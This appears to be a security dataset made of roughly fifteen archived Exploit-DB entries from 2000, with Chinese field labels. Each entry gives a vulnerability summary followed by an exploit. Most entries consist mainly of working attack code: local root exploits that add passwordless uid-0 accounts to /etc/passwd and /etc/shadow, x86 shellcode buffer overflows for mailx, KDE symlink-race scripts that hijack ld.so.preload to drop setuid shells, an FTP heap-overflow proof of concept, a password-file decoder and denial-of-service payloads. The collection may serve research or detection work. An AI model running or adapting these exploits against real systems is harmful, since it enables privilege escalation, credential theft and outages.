QLWD/code_shield huggingface dataset:
标题: Intel Corporation Shiva Access Manager 5.0 - Solaris World Readable LDAP Password EDB-ID: 20003 CVE: 2000-0516 类型: LOCAL 平台: SOLARIS 发布日期: 2000-06-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/1329/info

The Shiva Access Manager is a solution for centralized remote access authentication, authorization, and accounting offered by Intel. It runs on Solaris and Windows NT. Shiva Access Manager is vulnerable to a default configuration problem in its Solaris version (and possibly for NT as well, though uncomfirmed). When configuring the Access Manager for LDAP, it prompts for the root "Distinguished Name" and password. It stores this information in a textfile that is owned by root and set world readable by default, $SHIVA_HOME_DIR/insnmgmt/shiva_access_manager/radtac.ini. This file also contains information such as the LDAP server's hostname and server port. This information can be used to completely compromise the LDAP server. 

cat $SHIVA_HOME_DIR/insnmgmt/shiva_access_manager/radtac.ini

(proceed then to do whatever LDAP attacks you like) URL: https://www.exploit-db.com/exploits/20003
标题: HP-UX 10.20/11.0 - '.SNMPD' File Permission EDB-ID: 20002 CVE: 2000-0515 类型: LOCAL 平台: HP-UX 发布日期: 2000-06-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/1327/info

A vulnerability exists in the snmpd included with HPUX 11, from Hewlett Packard. The configuration file for the snmpd is world writable. This could allow any user on the system to view and/or alter the settings of the snmp daemon. This in turn could be used to alter the configuration of the system, including, but not limited to, routing, addressing, arp caches, the status of connections, and so on. It is also possible this could be used to elevate access levels.

Another vulnerability exists which allows users to redirect the logging location of snmpd to an alternate location, using symbolic links. This file is in a mode 777 directory, so any user can remove a file that already exists. Used in conjunction with the ability to alter configuration, this may also help leverage root access. This file is created at boot time, and while /tmp is cleared of its contents, there may be a potential window where a user can create a symbolic link prior to its creation, and directly use this to elevate privileges. 

edit /etc/SnmpAgent.d/snmpd.conf. It is world writable. URL: https://www.exploit-db.com/exploits/20002
标题: Linux Kernel 2.2.x 2.4.0-test1 (SGI ProPack 1.2/1.3) - Sendmail Capabilities Privilege Escalation(1) EDB-ID: 20000 CVE: 2000-0506 类型: LOCAL 平台: LINUX 发布日期: 2000-06-07 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/1322/info

POSIX "Capabilities" have recently been implemented in the Linux kernel. These "Capabilities" are an additional form of privilege control to enable more specific control over what priviliged processes can do. Capabilities are implemented as three (fairly large) bitfields, which each bit representing a specific action a privileged process can perform. By setting specific bits, the actions of priviliged processes can be controlled -- access can be granted for various functions only to the specific parts of a program that require them. It is a security measure. The problem is that capabilities are copied with fork() execs, meaning that if capabilities are modified by a parent process, they can be carried over. The way that this can be exploited is by setting all of the capabilities to zero (meaning, all of the bits are off) in each of the three bitfields and then executing a setuid program that attempts to drop priviliges before executing code that could be dangerous if run as root, such as what sendmail does. When sendmail attempts to drop priviliges using setuid(getuid()), it fails not having the capabilities required to do so in its bitfields. It continues executing with superuser priviliges, and can run a users .forward file as root leading to a complete compromise. Procmail can also be exploited in this manner. 

compile these 2 and create a file "mail":

From: yomama@foobar.com
To: localuser@localdomain.com
Subject: foo
bar
.

then create a .forward with:
|/path/to/add

then just do: ./ex < mail

this should add a user yomama with uid/gid = 0 and without a password
set
a simple su - yomama should give you root.

This exploit was written by me in a hurry, I hope there are no mistakes
*/


-- snip -- ex.c --
  
#include <linux/capability.h>

int main (void) {
   cap_user_header_t header;
   cap_user_data_t data;
   
   header = malloc(8);
   data = malloc(12);
   
   header->pid = 0;
   header->version = _LINUX_CAPABILITY_VERSION;
   
   data->inheritable = data->effective = data->permitted = 0;
   capset(header, data);

   execlp("/usr/sbin/sendmail", "sendmail", "-t", NULL);
}

-- snap -- ex.c --

-- snip -- add.c --

#include <fcntl.h>

int main (void) {
   int fd;
   char string[40];
   
   seteuid(0);
   fd = open("/etc/passwd", O_APPEND|O_WRONLY);
   strcpy(string, "yomama:x:0:0::/root:/bin/sh\n");
   write(fd, string, strlen(string));
   close(fd);
   fd = open("/etc/shadow", O_APPEND|O_WRONLY);
   strcpy(string, "yomama::11029:0:99999:7:::");
   write(fd, string, strlen(string));
   close(fd);
   
}

-- snap -- add.c -- URL: https://www.exploit-db.com/exploits/20000
标题: BRU 15.1/16.0 - BRUEXECLOG Environment Variable EDB-ID: 19999 CVE: 2000-0537 类型: LOCAL 平台: MULTIPLE 发布日期: 2000-06-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/1321/info

A vulnerability exists in BRU, the Backup and Restore Utility, from Enhanced Software Technologies. By setting the value of the BRUEXECLOG environment variable, it is possible to an attack to alter and create files on the filesystem. As BRU is installed setuid, these files are owned by root. This vulnerability can be easily used by local users to obtain root privileges.

$ BRUEXECLOG=/etc/passwd
$ export BRUEXECLOG
$ bru -V '
> comsec::0:0::/:/bin/sh
> '
$ su comsec
# URL: https://www.exploit-db.com/exploits/19999
标题: Michael Lamont Savant Web Server 2.1 - CGI Source Code Disclosure EDB-ID: 19995 CVE: 2000-0521 类型: REMOTE 平台: CGI 发布日期: 2000-06-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/1313/info

Omitting the HTTP version from a "GET" request for a CGI script to the Savant Web Server discloses the source code of the script. 

telnet target 80

GET /cgi-bin/script.xyz HTTP/1.0
<proper script execution/output>

GET /cgi-bin/script.xyz
<source code displayed> URL: https://www.exploit-db.com/exploits/19995
标题: Etype Eserv 2.9.2 - Logging Buffer Overflow EDB-ID: 19997 CVE: 2000-0523 类型: REMOTE 平台: WINDOWS 发布日期: 2000-05-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/1315/info

EType EServ is a combination mail, news, HTTP, FTP, and proxy server.

The logging mechanism in EType EServ is vulnerable to a heap buffer overflow that could allow remote attackers to execute arbitrary code on the server. The overflow occurs when a MKD command with an unusually long argument is sent to the FTP Server port. 

/* Proof of concept code for the heap overflow in EServ <= 2.9.2
 * Written 10/05/2000 by Andrew Lewis aka. Wizdumb [MDMA]
 */

import java.io.*;
import java.net.*;

class eservheap {

public static void main(String[] args) throws IOException {

  if (args.length < 1) {
    System.out.println("Syntax: java eservheap [host] <user> <pass>");
    System.exit(1); }

  Socket soq = null;
  PrintWriter white = null;
  BufferedReader weed = null;

  try {
    soq = new Socket(args[0], 21);
    white = new PrintWriter(soq.getOutputStream(), true);
    weed = new BufferedReader(new
InputStreamReader(soq.getInputStream()));
  } catch (Exception e) {
    System.out.println("Problems connecting :-/");
    System.exit(1); }

  weed.readLine();
  String juzer = (args.length == 3) ? ("USER " + args[1]) : "USER
anonymous";
  String pasz =  (args.length == 3) ? ("PASS " + args[2]) : "PASS mdma";
  white.println(juzer + "\n" + pasz);
  weed.readLine();
  weed.readLine();

  white.print("MKD ");
  for (int i = 0; i < 10000; i++) white.print("A");
  white.println(); // uNf! Who yoh daddy, bitch?
  weed.readLine();
  white.println("QUIT"); } } URL: https://www.exploit-db.com/exploits/19997
标题: Mirabilis ICQ 2000.0 A - Mailclient Temporary Link EDB-ID: 19993 CVE: 2000-0552 类型: LOCAL 平台: WINDOWS 发布日期: 2000-06-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/1307/info

While using ICQmailclient, the user creates a temporary internet link created in a default temporary directory, which remains even after the user signs out or closes ICQ. This link may be re-opened by another user, thus giving them full access to the ICQmail webaccount. 

The temporary link can be found in the default temp file (eg. c:\temp) and appears as:
http://cf.icq.com/cgi-bin/icqmail/write.pl5?uname=username&pwd=12345678 URL: https://www.exploit-db.com/exploits/19993
标题: mailx 8.1.1-10 (BSD/Slackware) - Local Buffer Overflow (2) EDB-ID: 19992 CVE: 2000-0545 类型: LOCAL 平台: LINUX 发布日期: 1999-07-03 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/1305/info
 
Some Linux distributions ship with BSD mailx 8.1.1-10 (On Slackware 7.x it can be found as /usr/bin/Mail).
 
A vulnerability exists in the 'mail' program, part of the Berkeley mailx package. The 'mail' program contains a buffer overflow condition that is present when the -c parameter is used at the command line.
 
On systems where it is installed setgid, this vulnerability can be exploited to gain group 'mail' privileges.
*/

/*
 * ..just couse it is no longer secret :>
 *
 * mailx sploit (linux x86)
 * funkySh 3/07/99
 * tested under Slackware 3.6,4.0,7.0  offset = 0-500
 *              Debian  2.0r2,2.1,2.2  offset = -7000  ..ugh ;]
 *
 * buffer overrun in cc-addr option, gives "mail" group privileges
 * (if mailx is installed setgid mail).
 * Remember to define GID - it is different on Slack/Debian
 *
 */

#include <stdio.h>

#define GID    "\x08"  // Debian
//#define GID    "\x0c"  // Slackware

char code[] = "\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1"GID"\x31"
              "\xc0\xb0\x47\xcd\x80\x31\xdb\x31\xc9\xb3"GID"\xb1"
               GID"\x31\xc0\xb0\x47\xcd\x80\xeb\x1f\x5e\x89\x76"
              "\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"
              "\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89"
              "\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
              /* setregid + generic shell code */

#define BUFFER 10000
#define NOP 0x90
#define PATH "/usr/bin/Mail"

char buf[BUFFER];

unsigned long getesp(void) {
   __asm__("movl %esp,%eax");
   }
int main(int argc, char * argv[])
{
  int i, offset = 0;
  long address;
  if(argc > 1) offset = atoi(argv[1]);
  address = getesp() -11000 + offset;
  memset(buf,NOP,BUFFER);
  memcpy(buf+800,code,strlen(code));
  for(i=876;i<BUFFER-2;i+=4)
    *(int *)&buf[i]=address;
  fprintf (stderr, "Hit '.' to get shell..\n");
  execl(PATH, PATH, "x","-s","x","-c", buf,0);
} URL: https://www.exploit-db.com/exploits/19992
标题: KDE 1.1.2 KApplication configfile - Local Privilege Escalation (2) EDB-ID: 19980 CVE: 2000-0530 类型: LOCAL 平台: LINUX 发布日期: 2000-05-31 漏洞利用脚本: #source: https://www.securityfocus.com/bid/1291/info
# 
#The KDE configuration-file management has a bug which could result in root compromise.
# 
#Due to insecure creation of configuration (rc) files via KApplication-class, local users can modify ownership of arbitrary files when running setuid root KDE-programs.
# 
#Properly exploited, this can permit a local attacker to change ownership of key system files, then write arbitrary data to them, allowing an elevation of privileges.

#!/usr/bin/perl

#
# 7350ktuner! The ktuner-hack. 
# (a.k.a. kil3r for some reason :)
#
# Just execute. Gives instant rootshell kiddie!
# If only ktuner is setuid-root and vulnerable as with
# SuSE 6.4!
#
# When has this stupid race an end?
#
# Bugdiscovery is due to Sebastian Krahmer.
# http://www.cs.uni-potsdam.de/homepages/students/linuxer
#
#
# Greets as always to TESO, security.is, lam3rz ... you all
# know who you are.
#
# 

my $rcfile = $ENV{"HOME"}."/.kde/share/config/ktunerrc";

$ENV{"PATH"}.=":/opt/kde/bin";

print ">>Get a feeling on GUI's and how secure they are.<< Stealth.\n";

print "Creating hijack-lib ...\n";
open O, ">/tmp/boom.c" or die "open(boom.c..)";
print O<<_EOF_;
#include <sys/types.h>

int time(void *v)
{
 chown("/tmp/boomsh", 0, 0);
 chmod("/tmp/boomsh", 06755);
 unlink("/etc/ld.so.preload");
 exit(1);
}
_EOF_
close O;

print "Compiling hijack-lib ...\n";
`cc -c -fPIC /tmp/boom.c -o /tmp/boom.o`;
`cc -shared /tmp/boom.o -o /tmp/boom.so`;

open O, ">/tmp/boomsh.c" or die "open(boomsh.c ...)";
print O<<_EOF2_;
#include <stdio.h>
int main() 
{
    char *a[] = {"/bin/sh", 0};
    setuid(0); setregid(0, 0);
    execve(a[0], a, 0);
    return 0;
}
_EOF2_
close O;

print "Compile shell ...\n";
`cc /tmp/boomsh.c -o /tmp/boomsh`;

umask 0;

unlink $rcfile;
symlink "/etc/ld.so.preload", $rcfile;

print "Invoking vulnerable program (ktuner)...\n";

if (fork() == 0) {
 `ktuner`;
 exit 0;
} else {
 sleep(3);
 kill 9, `pidof ktuner`;
}

open O, ">/etc/ld.so.preload" or die "Huh? Can't open preload.";
print O "/tmp/boom.so";
close O;
`/usr/bin/passwd`;

# let it look like if we have sth. to do. :)
sleep 3;
print "Welcome. But as always: BEHAVE!\n";
system("/tmp/boomsh"); URL: https://www.exploit-db.com/exploits/19980
标题: HP-UX 10.20/11.0 - man '/tmp' Symlink EDB-ID: 19990 CVE: 2000-0468 类型: LOCAL 平台: HP-UX 发布日期: 2000-06-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/1302/info

The programmers of the 'man' command on various HPUX releases have made several fatal mistakes that allow an attacker to trivially set a trap that could result in any arbitrary file being overwritten on the system when root runs the 'man' command.

Details:

1) man creates temporary files with predictable filenames in world-writeable directories. The two files are named catXXXX and manXXXX where XXXX is the PID of the man process (highly predictable).

2) man blindly follows symlinks.

3) man explicitly opens the temp files with mode 666 and ignores the existing umask. I verified that this doesn't change the mode of existing files to 666, but it allows for attackers to edit the tempfiles and potentially insert harmful man commands (like recent Bugtraq discussions about malicious manpages).

4) man opens the tempfiles with O_TRUNC. This means that when a file is symlinked to, that file is blindly truncated. This could lead to easy denial-of-service if you want to trash the password file or a hard disk device file. This could also have bad effects on sane man program operation, regardless of security, if a user runs man and leaves it running, then PIDs are wrapped around and someone of higher privilege runs man and overwrites your tempfiles!

Create ~65535 catXXXX or manXXXX symlinks in /tmp, pointing to the file you want to overwrite (e.g. /etc/passwd). Then wait. When root runs man, the file will be blindly overwritten with the formatted manpage contents (cat????) or unformatted (man????) are written to the symlinked file. URL: https://www.exploit-db.com/exploits/19990
标题: BSD 'mailx' 8.1.1-10 - Local Buffer Overflow (1) EDB-ID: 19991 CVE: 2000-0545 类型: LOCAL 平台: LINUX 发布日期: 2000-06-02 漏洞利用脚本: // source: https://www.securityfocus.com/bid/1305/info

Some Linux distributions ship with BSD mailx 8.1.1-10 (On Slackware 7.x it can be found as /usr/bin/Mail).

A vulnerability exists in the 'mail' program, part of the Berkeley mailx package. The 'mail' program contains a buffer overflow condition that is present when the -c parameter is used at the command line.

On systems where it is installed setgid, this vulnerability can be exploited to gain group 'mail' privileges.

/*
 * mail-slak.c (C) 2000 Paulo Ribeiro <prrar@nitnet.com.br>
 *
 * Exploit for /usr/bin/Mail.
 * Made specially for Slackware Linux 7.0.
 * Based on mailx.c by funkySh.
 *
 * OBS.: Without fprintf(stderr) is not possible to print the message.
 *
 * USAGE:
 * slack$ ./mail-slak
 * type '.' and enter: .
 * Cc: too long to edit
 * sh-2.03$ id
 * uid=1000(user) gid=12(mail) groups=100(users)
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char buffer[10000];
char shellcode[] =     
"\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1\x0c\x31"
                       
"\xc0\xb0\x47\xcd\x80\x31\xdb\x31\xc9\xb3\x0c\xb1"
                       
"\x0c\x31\xc0\xb0\x47\xcd\x80\xeb\x1f\x5e\x89\x76"
                       
"\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"
                       
"\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89"
                        "\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
               
unsigned long getesp(void)
{
        __asm__("movl %esp,%eax");
}

int main(int argc, char **argv)
{
        int x;
        long addr = getesp() - 18000;

        memset(buffer, 0x90, 10000);
        memcpy(buffer + 800, shellcode, strlen(shellcode));

        for(x = 876; x < 9998; x += 4)
                *(int *)&buffer[x] = addr;

        fprintf(stderr, "type '.' and enter: ");

        execl("/usr/bin/Mail", "/usr/bin/Mail", "nobody", "-s",
                "blah", "-c", buffer, 0);
}

/* mail-slack.c: EOF */ URL: https://www.exploit-db.com/exploits/19991
标题: KDE 1.1.2 KApplication configfile - Local Privilege Escalation (3) EDB-ID: 19981 CVE: 2000-0530 类型: LOCAL 平台: LINUX 发布日期: 2000-05-31 漏洞利用脚本: #source: https://www.securityfocus.com/bid/1291/info
#  
#The KDE configuration-file management has a bug which could result in root compromise.
#  
#Due to insecure creation of configuration (rc) files via KApplication-class, local users can modify ownership of arbitrary files when running setuid root KDE-programs.
#  
#Properly exploited, this can permit a local attacker to change ownership of key system files, then write arbitrary data to them, allowing an elevation of privileges.


#!/bin/bash

link=/home/paul/.kde/share/config
linkto=/etc/passwd
target=/opt/kde/bin/ktvision

echo ""
echo "KTVision <= 0.1.1-271 local r00t exploit by IhaQueR"
echo ""

if ! test -u $target ; then
        echo "[-] $target not found"
        exit 1
fi;

echo "[+] $target found"

rm -f sush*
cat <<__DUPA__>>sush.c
#include <stdio.h>
main()
{
        setuid(geteuid());
        setgid(getegid());
        execl("/bin/bash", "/bin/bash", NULL);
}
__DUPA__

echo "    compiling sush"
res=$(gcc sush.c -o sush)

if test "$res" != "" -o ! -x sush ; then
        echo "[-] failed"
        rm sush* ktvback.*
        exit 2;
fi;

echo "[+] success"

cp $linkto ktvback.$$
mkdir -p $link
rm -f $link/ktvisionrc
ln -s $linkto $link/ktvisionrc

echo ""
echo -n "now running... (ensure that X is up and running)"

$target >/dev/null 2>&1 &
cpid=$!

declare -i cnt
declare -i max
cnt=0
max=60

while ! test -O $linkto ; do
        sleep 1;
        printf "  %.2d" $cnt
        cnt=$(($cnt+1))
        if test $cnt -ge $max ; then
                echo ""
                echo ""
                echo "[-] FAILED"
                rm sush* ktvback.*
                exit 2;
        fi;
done;

kill -9 $cpid >/dev/null 2>&1
rm $link/ktvisionrc

echo ""
echo ""
echo "[+] SUCCESS, creating sush"
echo >>$linkto "r00t::0:0:root:/root:/bin/bash"
echo ""
su r00t -c "chown 0.0 sush; chmod u+s sush; chmod g+s sush; cp
ktvback.$$ $linkto; chown 0.0 $linkto"
rm ktvback.* sush.c

if ! test -u sush ; then
        echo "    hm strange error"
        rm sush* ktvback.*
        exit 1
fi;

echo ""
echo "starting ./sush"
./sush

#!plonk URL: https://www.exploit-db.com/exploits/19981
标题: PassWD 1.2 - Weak Encryption EDB-ID: 19989 CVE: 2000-0492 类型: LOCAL 平台: WINDOWS 发布日期: 2000-06-04 漏洞利用脚本: // source: https://www.securityfocus.com/bid/1300/info

PassWd 1.2 is a password management utility designed to store user login information to various URLs. The login information, which includes username, password and link location is stored in the pass.dat file which resides in the PassWD directory. The information is encrypted with a weak encoding algorithm and includes the key which can be used to decode any stored password. 

/*
 *  Decoder for PassWD v1.2 `pass.dat' password files
 *
 *  Written 2000 by Daniel Roethlisberger <admin@roe.ch>
 *
 *  This code is hereby placed in the public domain.
 *  Use this code at your own risk for whatever you want.
 *
 *  The decoded data is not parsed in any way - it should
 *  be very easy to moderately experienced programmers
 *  to add that themselves.
 *
 */

#include <stdio.h>

void main(int argc, char *argv[])
{
   unsigned char charpos;
   FILE* outfile;
   FILE* infile;
   unsigned char a;
   unsigned char b;
   unsigned char key;
   unsigned char x;

   unsigned char charset[] = "\b\t\n\r !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSPUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\b\t\n\r !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSPUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~";

   printf("\nDecoder for PassWD v1.2 `pass.dat' password files\n");
   printf("Written 2000 by Daniel Roethlisberger <admin@roe.ch>\n\n");

   if((argc > 3) || (argc < 2))
   {
      printf("Usage: %s <infile> [<outfile>]\n\n", argv[0]);
      printf("If <outfile> is omitted, the output is dumped to stdout.\n", argv[0]);
      return;
   }

   infile = fopen(argv[1], "r");
   if(infile == NULL)
   {
      printf("Could not open file %s\n", argv[1]);
      return;
   }

   if(argc == 2)
      outfile = stdout;
   else
   {
      outfile = fopen(argv[2], "w");
      if(outfile == NULL)
      {
         printf("Could not write to file %s\n", argv[2]);
         _fcloseall();
         return;
      }
   }

   getc(infile);       /* jump over decoy byte    */
   a = getc(infile);   /* read encoded key byte 1 */
   b = getc(infile);   /* read encoded key byte 2 */

   if(b == EOF)
   {
      printf("ERROR - encountered EOF within header\n");
      return;
   }

   /* this line `decodes' the key */
   key = (unsigned char)((a - 'b') * 10 + (b - 'b'));

   /* read through infile and dump decoded output to outfile: */
   x = getc(infile);
   while(!feof(infile))
   {
      for(charpos = 0; x != charset[charpos]; charpos++)
      {
         if(charpos > 99)
         {
            printf("\nERROR - encountered illegal character in source file\n");
            _fcloseall();
            return;
         }
      }
      /* plain = cypher - key */
      putc(charset[charpos + 99 - key], outfile);
      x = getc(infile);
   }

   if(argc == 2)
      printf("\n\n");
   printf("Done.\n");

   _fcloseall();
   return;
} URL: https://www.exploit-db.com/exploits/19989
标题: Atrus Trivalie Productions Simple Network Time Sync 1.0 - daemon Buffer Overflow EDB-ID: 19978 CVE: 2000-0493 类型: REMOTE 平台: LINUX 发布日期: 2000-06-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/1289/info

A scanf overflow has been discovered in the Simple Network Time Sync daemon and client version 1.0. Currently the buffer overflow has been tested on RedHat 6.1. It may be possible to obtain root, although it appears one only has 50 characters to run code with.

#!/usr/bin/perl -w
#
# Usage: ./kill_sntsd <hostname>
#

use Socket;

send_packet(); # Needs to send 2 packets to kill the client and the server 
daemons
send_packet();

sub send_packet {

$proto = getprotobyname('udp');
$localaddr = gethostbyname("localhost") || die "error: $!\n";
$iaddr = gethostbyname($ARGV[0]) || die "$!\n";
$sin = sockaddr_in(724, $iaddr);
$paddr = sockaddr_in(53, $localaddr);
socket(SH, PF_INET, SOCK_DGRAM, $proto);
bind(SH, $paddr);

$|=1;

connect(SH, $sin) || die "$!\n";

# A string longer than 50 characters...
print SH "logistixlogistixlogistixlogistixlogistixlogistixlogistix\n";
close(SH);

} URL: https://www.exploit-db.com/exploits/19978
标题: Real Networks Real Server 7.0/7.0.1/8.0 Beta - view-source Denial of Service EDB-ID: 19977 CVE: 2000-0474 类型: DOS 平台: MULTIPLE 发布日期: 2000-06-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/1288/info

RealServer 7.0 will crash if it receives a request for a specific file with an unspecified variable value. 

http://targetIP:port/viewsource/template.html? URL: https://www.exploit-db.com/exploits/19977